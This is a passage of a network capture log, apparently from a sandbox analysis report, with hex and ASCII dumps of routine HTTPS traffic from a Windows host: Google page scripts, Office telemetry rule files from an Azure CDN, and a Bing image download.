\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 31 34 32 30 36 37 30 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700275,3700949,3701384,101420670],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-11-26 15:31:25 UTC	79	IN	Data Raw: 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 0d 0a Data Ascii: rn a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$
2024-11-26 15:31:25 UTC	405	IN	Data Raw: 31 38 65 0d 0a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 Data Ascii: 18ed\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u00
2024-11-26 15:31:25 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 64 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b Data Ascii: 8000a(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.de\u003dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49751	172.217.21.36	443	7708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 15:31:25 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 15:31:25 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 15:31:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-26 15:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153125Z-174f7845968vqt9xhC1EWRgten0000000vs000000000410e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 3360fb1d-601e-0097-3291-3ff33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153125Z-174f7845968n2hr8hC1EWR9cag0000000v6g00000000m9n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:25 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153125Z-174f784596886s2bhC1EWR743w0000000vh000000000sh8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153125Z-174f7845968j6t2phC1EWRcfe80000000vr000000000nhcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49760	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:25 UTC	346	OUT	GET /th?id=OADD2.10239379264963_1YDKCAGWFU8IOZ3VZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:26 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 467237 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: FA76F428AFEC4FC2A4667D13F6F00F6E Ref B: EWR30EDGE0715 Ref C: 2024-11-26T15:31:25Z Date: Tue, 26 Nov 2024 15:31:25 GMT Connection: close
2024-11-26 15:31:26 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 31 33 3a 33 31 3a 31 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 13:31:118C
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: a8 d5 ff 00 79 4d a5 62 2c 4c ce cb 4e 53 ba 9b f2 ac 74 91 ff 00 ab a4 21 f4 99 db f2 b5 45 24 aa 24 a8 da 4d df 32 d2 dd 94 a2 d9 65 9f fb d4 9b ea a7 98 cd 25 2a 96 a7 f2 0e 44 5a ca 7d ea 55 da d1 fc b5 04 6e cb bf fd aa 7a cb fb bf f5 7f 35 1a 0a c4 8c 19 63 dd fc 54 cf 31 7c bf 96 a1 69 24 fb bf c2 d4 2f cb f7 be f5 11 b0 f9 7b 8f 6f 98 6e 6a 6a d2 c8 ca df f2 d2 98 d4 ee 3b 0b 4e 53 51 d1 48 63 db 73 47 fe d5 23 6e 68 e9 b9 fd dd 46 b2 b5 57 30 d2 b9 62 39 1a 38 fe 6f e1 a6 79 bb a4 a8 14 6e a7 c3 f2 ef 66 a9 1b 8a dc 96 8a 6f de 8f fd 9a 77 fe 83 41 21 4e 63 4d a2 80 0d de f5 3b 35 43 b5 fd 6a 76 64 5a 99 13 22 39 1f 6c 94 79 8a df 7a 92 62 ad 26 e5 a4 87 ef 50 90 59 58 93 cc 46 f9 69 92 32 d3 7c b7 a5 61 b7 ef 55 59 02 b1 36 52 86 ff 00 6a ab af Data Ascii: yMb,LNSt!E$$M2e%*DZ}Unz5cT1\|i$/{onjj;NSQHcsG#nhFW0b98oynfowA!NcM;5CjvdZ"9lyzb&PYXFi2\|aUY6Rj
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 3b 69 f2 06 fb d4 8a 8c df f0 1a 00 74 87 75 33 6b fa d3 fa d3 b7 35 02 b9 17 96 cd 1e ea 5a 7a 86 fe 2f bb 4f c2 50 2e 62 26 a5 a9 24 4a 56 8f f8 68 b8 73 10 7c d4 ac 36 c9 52 c7 1b 2f de a5 d9 40 73 0c d8 df c5 4d 65 65 7d b5 63 63 79 74 34 6c bf 7a 95 d0 b9 ad b1 5e 95 53 77 7a 97 65 39 56 9d d0 b9 88 95 36 d3 96 3a 7b 27 f0 d3 b1 b6 95 c3 9b b0 c9 23 5f e1 a6 c6 8b e6 7c d5 2f 4a 33 53 76 49 1f 97 fb cd ab 42 c0 bf c5 52 31 a3 7d 3b b0 bb 1b e5 ed fb b4 ed 98 4f 96 3a 55 3f f7 cd 19 a9 06 c8 9a 35 6a 6b 46 ff 00 c2 95 33 15 6f bd 1d 11 96 a0 ae 66 90 cf 2f fb d4 df 2d 7f 86 a7 61 ba 93 3b 68 0e 66 43 e5 bd 2a c6 f5 2e ea 37 d5 0a e4 4d 13 54 91 26 d8 f6 d3 a8 a5 71 39 5d 09 b2 99 24 59 a9 28 a2 e2 4e c4 6b 1e da 7b 22 b5 19 a5 a2 e1 cc c8 bc 8f ee d2 Data Ascii: ;itu3k5Zz/OP.b&$JVhs\|6R/@sMee}ccyt4lz^Swze9V6:{'#_\|/J3SvIBR1};O:U?5jkF3of/-a;hfC*.7MT&q9]$Y(Nk{"
2024-11-26 15:31:26 UTC	16384	IN	Data Raw: 79 69 f7 a9 ed 02 d5 d8 e1 db f2 b4 74 e6 81 9a 8f 6e af 61 2c 07 bb 7b 19 ed 05 27 92 bb 3e 5a d0 d9 fd ea 8d be 6f 96 3f e1 aa f6 8d 93 3c 0c 16 a5 2f 27 de 93 c9 ab bb 19 be 5a 1a 2d bf 7b ee d3 f6 86 1f 53 4d ec 56 8e 1c 7f cb 4a 1a df fb b5 6f 0d f7 a9 b1 c6 d4 bd a1 7f 53 5b 58 ac b1 35 27 95 b7 e6 6a b9 e5 9a 66 c6 a7 ed 09 96 11 2e 85 46 89 5a 9b 1c 7b 6a eb 54 6c 9b be 6a 7c e6 2f 0a d6 a4 0c 8b e5 d3 55 33 56 18 2f 97 b6 98 c9 fd e7 aa 52 33 9d 1f 7a e4 4d 1e da 8d 93 fb d5 2e 29 18 37 f7 2a 93 68 e7 94 2f d0 87 cb 5f ee 50 d1 af f7 2a 56 1f ec 52 55 73 19 b8 74 b1 17 96 bf f3 ce 8d 89 fd ca 96 88 c2 ff 00 15 3b 8b d9 26 45 e4 2b 7c cd 4d 99 15 53 75 58 6f ee d2 79 79 f9 68 e6 14 e8 2b 34 91 49 a9 55 ea d3 40 b4 79 29 55 ce 8e 6f aa d4 2a b0 fe Data Ascii: yitna,{'>Zo?</'Z-{SMVJoS[X5'jf.FZ{jTlj\|/U3V/R3zM.)7h/_PVRUst;&E+\|MSuXoyyh+4IU@y)Uo*
